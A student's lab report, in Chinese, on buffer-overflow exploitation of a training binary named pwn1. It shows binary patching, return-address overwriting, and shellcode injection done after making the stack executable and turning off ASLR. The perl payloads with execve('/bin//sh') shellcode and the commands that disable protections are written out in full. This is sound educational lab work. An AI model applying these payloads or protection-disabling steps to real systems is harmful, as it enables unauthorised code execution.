首页 > 其他分享 >20222411 2024-2025-1 《网络与系统攻防技术》实验一实验报告

20222411 2024-2025-1 《网络与系统攻防技术》实验一实验报告

时间:2024-10-10 21:00:47浏览次数:1  
标签:x90 地址 2024 2025 20222411 pwn20222411 input shellcode 输入

1.实验内容

1.1 基础知识

1.1.1 NOP, JNE, JE, JMP, CMP汇编指令的机器码

(1)NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
(2)JNE:条件转移指令,如果不相等则跳转。(机器码:75)
(3)JE:条件转移指令,如果相等则跳转。(机器码:74)
(4)JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB)段内直接近转移Jmp near(机器码:E9)段内间接转移Jmp word(机器码:FF)段间直接(远)转移Jmp far(机器码:EA)
(5)CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

1.1.2 反汇编

(1)由已生成的机器语言(二进制语言)转化为汇编语言的过程,也可以说是汇编的逆向过程
(2)在本次实验中,我们在Linux环境下使用objdump反汇编工具对pwn1文件进行反汇编
(3)反汇编指令objdump -d <文件名>

1.1.3 十六进制编辑器

(1)十六进制编辑器是用于编辑单个字节数据的软件应用程序,主要由程序员或系统管理员使用。Linux系统中可以使用多种十六进制编辑器,在本次实验中我主要使用xxd,xxd 是一个命令行十六进制编辑器,可以创建二进制文件的十六进制转储。
(2)%!xxd 进入十六进制编辑模式
(3)%!xxd -r 切换回原模式

1.2 本周学习内容

本周学习了缓冲区溢出漏洞的相关知识,包括缓冲区溢出漏洞的简介、基础知识、缓冲区溢出的原理等知识。

1.3 实验方案简介

本次实践的对象是一个名为pwn1的linux可执行文件。该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

2.实验过程

2.1 直接修改程序机器指令,改变程序执行流程

首先修改终端名

打开新终端后显示修改成功

通过共享文件夹将pwn1文件下载至kali中并将pwn1文件改名

运行可执行文件./pwn20222411

反汇编文件objdump -d pwn20222411 | more,找到main、getshell和foo

第一列为内存地址,第二列为机器指令、第三列为机器指令对应的汇编语言。
修改pwn20222411以改变程序执行流程,下面是修改过程:
vi pwn20222411 打开文件后为乱码

 按esc键,输入:%!xxd进入十六进制编辑模式,使用/e8 d7快速找到需要修改的地址

修改地址,将d7改成c3,然后使用:%!xxd -r转回原来乱码格式,并使用:wq命令保存退出;
反汇编objdump -d pwn20222411 | more查看机器指令;

 可以看到修改成功
./pwn20222411运行结果 

 成功获取shell,即成功调用了getShell函数

2.2 通过构造输入参数,造成BOF攻击,改变程序执行流

当程序调用时,会形成自己的栈帧,foo函数读入字符串,系统只预留了28字节的缓冲区,具有Bufferoverflow漏洞,我们可以通过向这个缓冲区输入超出长度的字符串来覆盖该返回地址,使返回地址指向getshell,达到攻击目的。
由之前反汇编结果可知,正常时call调用foo,同时在堆栈上压上返回地址值0x80484ba。
先重新上传一个pwn1文件,命名为pwn20222411-2
用gdb pwn20222411-2调试程序,确认输入字符串哪几个字符会覆盖到返回地址,过程中发现未安装gdb
使用sudo apt update和sudo apt install gdb命令安装gdb

安装完成后输入gdb,检查gdb是否安装成功

 用gdb pwn20222411-2调试程序,输入字符串1111111122222222333333334444444412345678,输入命令 info r查看寄存器eip的值,发现输入的1234(十六进制0x34333231)为被覆盖到堆栈上的返回地址。那只要把这四个字符替换为 getShell 的内存地址,输给pwn20222411-2,就会运行getShell。
通过之前的反汇编可知getshall的内存地址为0x0804847d
把1234换成getShell的地址0x0804847d,我们需要构造字符串11111111222222223333333344444444\x7d\x84\x04\x08,
输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input生成一个包含这些16进制内容的文件(\x0a表示回车);
使用16进制查看指令xxd input查看input文件的内容,确认无误后使用(cat input;cat) | ./pwn20222411-2将input中的字符串作为可执行文件的输入。

 成功获取shell,即成功调用了getShell函数。

2.3 注入Shellcode并执行

(1)准备工作
安装execstack:
外部官网安装,官网链接为:http://ftp.de.debian.org/debian/pool/main/p/prelink/execstack_0.0.20131005-1+b10_amd64.deb。

安装好后使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb命令进行解压,最终安装成功。

通过以下命令修改设置
execstack -s pwn20222411-3 //设置堆栈可执行
execstack -q pwn20222411-3 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看地址随机化的状态
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space

(2)构造要使用的payload
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr
使用以下命令进行构造shellcode的输入(x1x2x3x4是用来占位的,后续将替换为注入shellcode的地址,也就是foo函数中return address的位置,这个地址需要我们接下来去gdb分析寻找),并将其放入名为input_shellcode的文件中:perl -e 'print "A" x 32;print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入以下命令将input_shellcode的输入内容作为pwn20222411-3的输入:
(cat input_shellcode; cat) | ./pwn20222411-3
 
 新打开一个新终端,输入ps -ef | grep pwn20222411-3,查看pwn20222411-3文件的进程以及进程号。

可以看到,进程号分别为30607和31349,但是30607才是pwn文件的进程号。
此后,再在这个新终端中使用gdb进行调试,输入gdb pwn20222411-3,来获取foo函数中returnaddress的位置。
输入命令attach 30607,输入刚刚查找的进程号
输入命令disassemble foo,反编译foo函数并进行分析

可以看到,ret的地址为0x080484ae,因此,在这里设置断点,继续分析
输入命令break *0x080484ae
在新终端输入c,c表示continue继续运行,继续运行后,在老终端按一下enter键,否则新终端的continue将一直进行。
输入info r esp查看栈顶指针所在位置,如下图可知栈顶指针所在的位置为0xffffd03c;
使用x/16x 0xffffcfec命令查看该地址处的存放内容,可以看到,此处出现了我们之前注入的输入0x04030201,这说明找的就是这个地址。

因此,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffd03c+4=0xffffd040。
现在可以进行shellcode的注入,最终获取shell。将0x04030201换成上述我们计算出来的位置0xffffd040,且用机器存储的方式,颠倒一下,重新进行输入。在原终端中输入perl -e 'print "A" x 32;print "\x40\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode,然后再输入(cat input_shellcode; cat) | ./pwn20222411-3,将input_shellcode的输入内容作为pwn20222411-3的输入。

 成功获取shell,即成功调用了getShell函数。

3.问题及解决方案

  • 问题1:完成实验的过程当中,出现了一次电脑蓝屏的问题(T^T)
  • 问题1解决方案:重装电脑系统,重新安装虚拟机,重新做实验(啊啊啊啊啊啊)
  • 问题2:构造payload进行bof攻击时,我的虚拟机上文件进程号、栈顶指针地址与指导书上不同
  • 问题2解决方案:理解实验过程并修改实验命令,将命令中的文件进程号、栈顶指针地址替换成自己虚拟机上的数据,并自行计算shellcode应该处于的地址。

4.学习感悟、思考等

(1)首先最大是体会是我们一定要保护好自己的电脑,善待它,不要让它蓝屏,否则重装系统之后,你所有的工作就要从头开始。
(2)通过直接操作机器指令和内存,我深刻体会到了计算机程序在底层是如何运作的。每一个操作码、每一个寄存器、每一段内存都直接关联着程序的行为,这让我对编程的理解上升到了一个新的层次。
(3)我的安全意识得到了提升。缓冲区溢出攻击是网络安全领域非常经典的攻击方式之一。通过实验亲手构造payload并执行攻击,我认识到软件安全漏洞的严重性和危害性。这促使我在日常编程和软件开发中更加注重代码的安全性,采取预防措施避免类似漏洞的产生。

标签:x90,地址,2024,2025,20222411,pwn20222411,input,shellcode,输入
From: https://www.cnblogs.com/bestikk/p/18456433

相关文章

  • 2024年1月Java项目开发指南18:自定义异常输出
    一般情况下,报错信息一大堆,值得注意的只有三个地方:哪个文件发生了错误哪一行发生了错误错误原因是什么只要知道这三个东西就能快速的定位到错误发生的位置并且根据提示解决。如果你也喜欢我的这种异常输出(如文章顶部图)那么可以参考以下代码:packagecom.guaiguailang.harm......
  • 2024-10-10 闲话
    王杨卢骆尔等乱臣贼子,为何还有苟且偷生之意。曹操坐在庙堂之上,向下面的死囚咆哮着。身上虽有铁索连环,但死囚鱼视死如归,决不愿意在这枭雄手下做任何事情。与他不同的是,死囚俱就不愿成就大义,却想留下一条小命,不怕没柴烧的。名利乃是俱穷其一生追求的事情,现在身为阶下囚,只能享受狱里......
  • markdown的html优雅使用语法(2024/10/10guixiang原创)
    一:图片部分第一范式图2全字段排序 <center><imgstyle="border-radius:0.3125em;box-shadow:02px4px0rgba(34,36,38,.12),02px10px0rgba(34,36,38,.08);"width="500"height="400"src="......
  • 2024初秋集训——提高组 #35
    A.语言题目描述在一个语言中,有\(26\)种单词,每个单词用一个小写英文字母表示。每种单词可能有多种词性,词性有名词(\(N\))、动词(\(V\))、形容词(\(A\))。我们定义一个名词短句(\(NP\))为一个名词(\(N\))或一个形容词加名词短句(\(A+NP\))或两个名词短句(\(NP_1+NP_2\)),一个句子(\(S\))为一个名......
  • 【专题】2024年中国电商市场研究报告合集PDF分享(附原数据表)
    原文链接:https://tecdat.cn/?p=37835在全球电商持续发展的背景下,中国电商市场面临新态势。增长压力与机遇并存,从综合电商与直播电商发展的放缓,到企业3C数码商用品电商采购的趋势,以及零售业拥抱“性价比时代”,中国电商正积极探索新路径。同时,社群电商爆品营销也为出海品牌带来......
  • 尚硅谷rabbitmq 2024 第50节 集群负载均衡 核心功能 答疑
    消费者用@RabbitListener或者@KafkaLisenter,那生产者呢(springboot)在SpringBoot中,生产者可以使用`RabbitTemplate`来发送消息到RabbitMQ。以下是一个简单的示例:```javaimportorg.springframework.amqp.rabbit.core.RabbitTemplate;importorg.springframework.beans.fac......
  • 哔咔漫画下载最新版本2024技巧
    电脑制作漫画的流程通常包括以下几个步骤:构思与策划明确漫画的主题、风格以及目标受众。哔咔漫画制定故事大纲,包括主要情节、人物设定等。剧本编写哔咔漫画编写详细的脚本,包括对话、哔咔漫画动作描述、场景说明等。脚本应该清晰地指示每个镜头的内容,以便后续的绘图工作。......
  • 尚硅谷rabbitmq 2024 集群ui 第49节 答疑三
    rabbitmq集群做负载均衡还要用haproxy才行吗?kafka也是这样要借助外部工具吗?是的,在RabbitMQ集群中,通常会使用HAProxy或类似的负载均衡器来分配客户端请求。这是因为RabbitMQ本身并不具备内置的负载均衡功能。HAProxy可以帮助你将客户端连接均匀地分配到不同的RabbitMQ......
  • 2024牛客暑假多校第三场 - A. Bridging the Gap 2
    思路全在注释里了:#include<cstdio>#include<cmath>#include<algorithm>usingnamespacestd;constintN=5e5+5;intn,l,r,a[N];boolSolve(){ //打工次数:一个人能将其他人运过去的次数=一个人能过去以后能往返的次数 scanf("%d%d%d",&n,&l,&r); intmin_go=c......
  • ROIR 2024
    B.双调序列题目描述我们定义一个序列\(X\)是双调的当且仅当:\(\exist1\lei\leN,满足X_1<X_2<\dots<X_i>\dots>X_N\)。求序列\(A\)有多少个子串是双调的。思路可以发现,一个序列\(X\)是双调的当且仅当\(X_1\neX_2\ne\dots\neX_N\and[X_1>X_2]\le[X_2>X_3]\le......